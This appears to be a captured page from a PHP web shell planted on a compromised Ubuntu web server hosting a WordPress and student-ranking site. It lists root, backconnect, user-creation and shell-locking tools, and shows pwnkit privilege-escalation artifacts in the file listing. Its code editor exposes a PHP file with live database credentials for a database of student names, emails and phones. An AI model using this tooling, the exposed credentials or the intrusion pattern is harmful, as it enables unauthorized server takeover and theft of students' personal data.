Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
cipd /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
applications
[ DIR ]
drwxr-xr-x
upload
[ DIR ]
drwxrwxrwx
wp-admin
[ DIR ]
drwxrwxr-x
wp-content
[ DIR ]
drwxrwxr-x
wp-includes
[ DIR ]
drwxrwxr-x
.htaccess
523
B
-rwxrwxr-x
.mad-root
0
B
-rw-r--r--
admin_dashboard.php
20.42
KB
-rw-r--r--
admin_login.php
8.62
KB
-rw-r--r--
index.php
405
B
-rwxrwxr-x
license.txt
19.45
KB
-rwxrwxr-x
old-data.tar
381.81
MB
-rwxrwxr-x
pwnkit
10.99
KB
-rwxr-xr-x
readme.html
7.23
KB
-rwxrwxr-x
student_dashboard.php
24.53
KB
-rw-r--r--
student_form.php
15.23
KB
-rw-r--r--
student_login.php
7.94
KB
-rw-r--r--
student_ranking.php
17.12
KB
-rw-r--r--
wordpress-6.5.5.zip
24.98
MB
-rwxrwxr-x
wp-activate.php
7.21
KB
-rwxrwxr-x
wp-blog-header.php
351
B
-rwxrwxr-x
wp-comments-post.php
2.27
KB
-rwxrwxr-x
wp-config
3.12
KB
-rwxrwxr-x
wp-config-sample.php
2.94
KB
-rwxrwxr-x
wp-config.php
3.21
KB
-rw-rw-rw-
wp-cron.php
5.51
KB
-rwxrwxr-x
wp-links-opml.php
2.44
KB
-rwxrwxr-x
wp-load.php
3.83
KB
-rwxrwxr-x
wp-login.php
49.72
KB
-rwxrwxr-x
wp-mail.php
8.33
KB
-rwxrwxr-x
wp-settings.php
27.76
KB
-rwxrwxr-x
wp-signup.php
33.58
KB
-rwxrwxr-x
wp-trackback.php
4.77
KB
-rwxrwxr-x
xmlrpc.php
3.17
KB
-rwxrwxr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : student_ranking.php
<?php // student_ranking.php // Aggregate likes & photos from student_records, join users, show only users who are ranked // $conn = new mysqli("localhost", "root", "", "student_db"); $conn = new mysqli("localhost", "cipd", "CiPd-CiPd2024", "cipd"); $toastMessage = ''; $toastType = 'error'; $ranked = []; if ($conn->connect_error) { $toastMessage = "DB Connection failed: " . $conn->connect_error; } else { /* New logic: - users table contains master user info - student_records contains likes, photo_url, source, is_ranked, user_id - Aggregate likes per user (SUM of student_records.likes) - Collect photos using GROUP_CONCAT from student_records.photo_url - Include user only if they have at least one student_records.is_ranked = 1 */ $sql = " SELECT u.id AS user_id, u.name, u.email, u.branch, u.year, u.phone, SUM(COALESCE(sr.likes,0)) AS likes, GROUP_CONCAT(NULLIF(TRIM(sr.photo_url),'') SEPARATOR '||') AS photos, MAX(sr.is_ranked) AS has_rank FROM users u INNER JOIN student_records sr ON sr.user_id = u.id and sr.is_ranked=1 GROUP BY u.id ORDER BY likes DESC, u.name ASC; "; $res = $conn->query($sql); if ($res) { $ranked = $res->fetch_all(MYSQLI_ASSOC); } else { $toastMessage = "Failed to fetch ranked students: " . $conn->error; } $conn->close(); } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Student Ranking Dashboard</title> <meta name="viewport" content="width=device-width,initial-scale=1"> <style> :root{ --page-bg: #f6f7fb; --card-bg: #ffffff; --muted: #6b7280; --accent: #0b69ff; --accent-2: #0b56d6; --accent-3: #0b4fc0; --success: #16a34a; --radius: 12px; --shadow-lg: 0 18px 60px rgba(11,34,71,0.08); --shadow-sm: 0 6px 18px rgba(11,34,71,0.06); --table-border: #eef2f7; --max-width: 1100px; --sans: "Inter", system-ui, -apple-system, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif; } *{box-sizing:border-box} html,body{height:100%;margin:0} body{ font-family:var(--sans); background: var(--page-bg); color:#0f1724; -webkit-font-smoothing:antialiased; -moz-osx-font-smoothing:grayscale; line-height:1.45; padding:36px 20px; display:flex; justify-content:center; } .wrap { width:100%; max-width:var(--max-width); } header.appbar{ display:flex; align-items:center; gap:18px; margin-bottom:20px; } .logo { width:56px;height:56px;border-radius:10px; background:linear-gradient(135deg,var(--accent),var(--accent-2)); display:inline-grid;place-items:center;color:#fff;font-weight:700;font-size:20px; box-shadow:var(--shadow-sm); } .title-block { display:flex; flex-direction:column; gap:4px; } .title-block h1 { margin:0;font-size:20px;font-weight:700;color:#07102a; } .title-block p { margin:0;color:var(--muted);font-size:13px; } .card { background:var(--card-bg); border-radius:var(--radius); padding:20px; box-shadow:var(--shadow-lg); border:1px solid rgba(11,34,71,0.03); } .card-head { display:flex;justify-content:space-between;align-items:center;margin-bottom:14px;gap:12px; } .card-head .heading { font-size:18px;font-weight:700;color:#0b1220; } .card-head .subtitle { color:var(--muted); font-size:13px; } .table-wrap { overflow:auto; border-radius:8px; } table { width:100%; border-collapse:collapse; min-width:880px; background:transparent; } thead th { text-align:left; font-size:13px; color:#334155; padding:12px 14px; background:#fbfdff; border-bottom:1px solid var(--table-border); position:sticky; top:0; z-index:2; font-weight:700; } tbody td { padding:12px 14px; border-bottom:1px solid #f1f5f9; vertical-align:middle; font-size:14px; color:#0f1724; } tbody tr:hover { background:#fcfeff; } .col-rank { width:88px; } .col-branch { width:150px; color:var(--muted); font-weight:600; } .col-year { width:110px; color:var(--muted); } .col-phone { width:140px; color:var(--muted); } .col-likes { width:140px; text-align:center; } .rank-badge { display:inline-flex; align-items:center; gap:8px; font-weight:700; color:#ffffff; background:linear-gradient(180deg,var(--accent),var(--accent-3)); padding:8px 12px; border-radius:999px; font-size:13px; box-shadow:0 6px 18px rgba(11,105,255,0.08); } .name-cell { display:flex; align-items:center; gap:12px; } .avatar { width:44px; height:44px; border-radius:8px; object-fit:cover; background:#eef2ff; border:1px solid #f1f5f9; display:inline-grid; place-items:center; font-weight:700; color:#073763; background:linear-gradient(180deg,#e6f0ff,#f4fbff); } .name-text { font-weight:700; color:#07102a; } .email-text { display:block; color:var(--muted); font-size:13px; margin-top:4px; } .likes { font-size:16px; font-weight:800; color:#f97316; display:inline-flex; align-items:center; gap:8px; justify-content:center; } .view-btn { border: none; background: #0b69ff; color: white; padding:8px 12px; border-radius:8px; cursor:pointer; font-weight:700; transition: transform .12s ease, box-shadow .12s ease; } .view-btn:hover { transform: translateY(-3px); box-shadow:0 10px 30px rgba(6,55,150,0.12); } .empty { padding:48px; text-align:center; color:var(--muted); font-size:16px; } /* Modal */ .modal-overlay { position: fixed; inset: 0; background: rgba(3,6,23,0.6); display: none; align-items: center; justify-content: center; z-index: 1200; padding: 28px; } .modal { background: #fff; border-radius: 12px; width: 100%; max-width: 1100px; max-height: 90vh; overflow: auto; padding: 18px; box-shadow: 0 28px 80px rgba(3,6,23,0.18); } .modal-header { display:flex; align-items:center; justify-content: space-between; gap: 12px; margin-bottom: 12px; } .modal-header h3 { margin:0; font-size:18px; color:#07102a; } .modal-close { border: none; background: transparent; font-size: 22px; cursor: pointer; color: #334155; } .photos-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); gap: 12px; } .photos-grid img { width: 100%; height: 420px; object-fit: cover; border-radius: 8px; border: 1px solid #eef2f7; cursor: pointer; transition: transform .12s ease, box-shadow .12s ease; } .photos-grid img:hover { transform: translateY(-6px); box-shadow: 0 18px 60px rgba(6,22,68,0.12); } .no-photos { padding: 28px; text-align:center; color:var(--muted); } .img-preview { position: fixed; inset: 0; display: none; align-items: center; justify-content: center; background: rgba(7,10,25,0.85); z-index: 1300; padding: 20px; } .img-preview img { max-width: 96%; max-height: 96%; border-radius: 10px; box-shadow: 0 26px 80px rgba(6,22,68,0.36); } @media (max-width: 900px) { .photos-grid img { height: 220px; } .avatar { width:40px; height:40px; } .col-likes { width:120px; } } @media (max-width: 600px) { table { min-width:700px; } .modal { padding:14px; } } /* Toast Alert CSS */ .toast{position:fixed;top:20px;right:20px;z-index:9999;padding:14px 18px;border-radius:12px;font-weight:600;color:#fff;min-width:220px;box-shadow:0 6px 18px rgba(0,0,0,0.12);opacity:0;transform:translateY(-20px);transition:0.3s;} .toast.show{opacity:1;transform:translateY(0);} .toast.error{background:#dc2626;} .toast.success{background:#16a34a;} </style> </head> <body> <div class="wrap"> <header class="appbar" role="banner" aria-label="Student ranking header"> <div class="logo" aria-hidden="true">CIPD</div> <div class="title-block"> <h1>Student Ranking Dashboard</h1> <p style="margin:0;color:var(--muted);font-size:13px">Top performers (based on records)</p> </div> </header> <main class="card" role="main" aria-labelledby="main-heading"> <div class="card-head"> <div> <div class="heading" id="main-heading">Top Ranked Students</div> </div> <div style="text-align:right; color:var(--muted); font-size:13px;"> <?php echo date('F j, Y'); ?> </div> </div> <div class="table-wrap" role="region" aria-live="polite"> <?php if (empty($ranked)): ?> <div class="empty">No ranked students available yet.</div> <?php else: ?> <table role="table" aria-label="Ranked students table"> <thead> <tr> <th class="col-rank">Rank</th> <th>Name</th> <th class="col-branch">Branch</th> <th class="col-year">Year</th> <th>Email</th> <th class="col-likes">Likes</th> <th>Photos</th> </tr> </thead> <tbody> <?php $r = 1; foreach ($ranked as $row): // photos -> array (ignore empty) $photos_raw = $row['photos'] ?? ''; $photos = []; if ($photos_raw !== null && $photos_raw !== '') { $parts = explode('||', $photos_raw); foreach ($parts as $p) { $p = trim($p); if ($p !== '') $photos[] = $p; } } // encode for data attribute (JSON safe) $photos_json = htmlspecialchars(json_encode(array_values($photos), JSON_UNESCAPED_SLASHES), ENT_QUOTES, 'UTF-8'); $safe_name = htmlspecialchars($row['name'], ENT_QUOTES, 'UTF-8'); $safe_email = htmlspecialchars($row['email'], ENT_QUOTES, 'UTF-8'); $safe_branch = htmlspecialchars($row['branch'], ENT_QUOTES, 'UTF-8'); $safe_year = htmlspecialchars($row['year'], ENT_QUOTES, 'UTF-8'); $likes_val = intval($row['likes']); ?> <tr> <td><span class="rank-badge"><?php echo $r; ?></span></td> <td> <div class="name-cell"> <?php $initials = ''; $parts = preg_split('/\s+/', $row['name']); foreach ($parts as $p) if ($p) $initials .= strtoupper($p[0]); $initials = substr($initials, 0, 2); echo "<div class=\"avatar\">" . htmlspecialchars($initials) . "</div>"; ?> <div> <div class="name-text"><?php echo $safe_name; ?></div> <div class="email-text"><?php echo $safe_email; ?></div> </div> </div> </td> <td class="col-branch"><?php echo $safe_branch; ?></td> <td class="col-year"><?php echo $safe_year; ?></td> <td><?php echo $safe_email; ?></td> <td class="col-likes"><div class="likes"><?php echo $likes_val; ?> <span aria-hidden="true">❤️</span></div></td> <td> <button class="view-btn" data-photos='<?php echo $photos_json; ?>' data-name="<?php echo $safe_name; ?>" aria-label="View photos for <?php echo $safe_name; ?>" > View Photos </button> </td> </tr> <?php $r++; endforeach; ?> </tbody> </table> <?php endif; ?> </div> </main> </div> <!-- Modal --> <div id="photoModalOverlay" class="modal-overlay" role="dialog" aria-hidden="true" aria-modal="true"> <div class="modal" role="document" aria-labelledby="modalTitle"> <div class="modal-header"> <h3 id="modalTitle">Photos</h3> <button class="modal-close" id="modalCloseBtn" aria-label="Close modal">×</button> </div> <div id="modalContent"></div> </div> </div> <!-- Image preview --> <div id="imgPreview" class="img-preview" aria-hidden="true"> <img id="imgPreviewImg" src="" alt="Preview"> </div> <!-- Toast container --> <div id="toast-container"></div> <script> // Toast helper function showToast(message, type='error'){ if (!message) return; const toast=document.createElement('div'); toast.className=`toast ${type} show`; toast.textContent=message; document.body.appendChild(toast); setTimeout(()=>{toast.classList.remove('show'); toast.remove();},4000); } // Show PHP-generated toast if any <?php if(!empty($toastMessage)): ?> showToast("<?= addslashes($toastMessage) ?>", "<?= addslashes($toastType) ?>"); <?php endif; ?> function parsePhotosData(str) { try { return JSON.parse(str || '[]'); } catch (e) { return []; } } document.addEventListener('DOMContentLoaded', function () { const modalOverlay = document.getElementById('photoModalOverlay'); const modalContent = document.getElementById('modalContent'); const modalTitle = document.getElementById('modalTitle'); const modalCloseBtn = document.getElementById('modalCloseBtn'); const imgPreview = document.getElementById('imgPreview'); const imgPreviewImg = document.getElementById('imgPreviewImg'); function openModalFor(name, photos) { modalTitle.textContent = 'Photos — ' + name; if (!photos || photos.length === 0) { modalContent.innerHTML = '<div class="no-photos">No photos available for this student.</div>'; } else { let html = '<div class="photos-grid">'; photos.forEach(function(url) { // sanitize URL when inserting into DOM const safeUrl = String(url).replace(/"/g, '"').replace(/'/g, '''); html += '<img src="' + safeUrl + '" alt="Student photo" loading="lazy">'; }); html += '</div>'; modalContent.innerHTML = html; const imgs = modalContent.querySelectorAll('img'); imgs.forEach(img => { img.addEventListener('click', function () { imgPreviewImg.src = this.src; imgPreview.style.display = 'flex'; imgPreview.setAttribute('aria-hidden', 'false'); }); }); } modalOverlay.style.display = 'flex'; modalOverlay.setAttribute('aria-hidden', 'false'); } document.querySelectorAll('.view-btn').forEach(function(btn) { btn.addEventListener('click', function () { const photosRaw = this.getAttribute('data-photos') || '[]'; const name = this.getAttribute('data-name') || 'Student'; let photos = parsePhotosData(photosRaw); photos = photos.filter(p => typeof p === 'string' && p.trim() !== ''); openModalFor(name, photos); }); }); function closeModal() { modalOverlay.style.display = 'none'; modalOverlay.setAttribute('aria-hidden', 'true'); modalContent.innerHTML = ''; } modalCloseBtn.addEventListener('click', closeModal); modalOverlay.addEventListener('click', function(e) { if (e.target === modalOverlay) closeModal(); }); imgPreview.addEventListener('click', function() { imgPreview.style.display = 'none'; imgPreview.setAttribute('aria-hidden', 'true'); imgPreviewImg.src = ''; }); document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { if (imgPreview.style.display === 'flex') { imgPreview.style.display = 'none'; imgPreviewImg.src = ''; } else if (modalOverlay.style.display === 'flex') { closeModal(); } } }); }); </script> </body> </html>
Close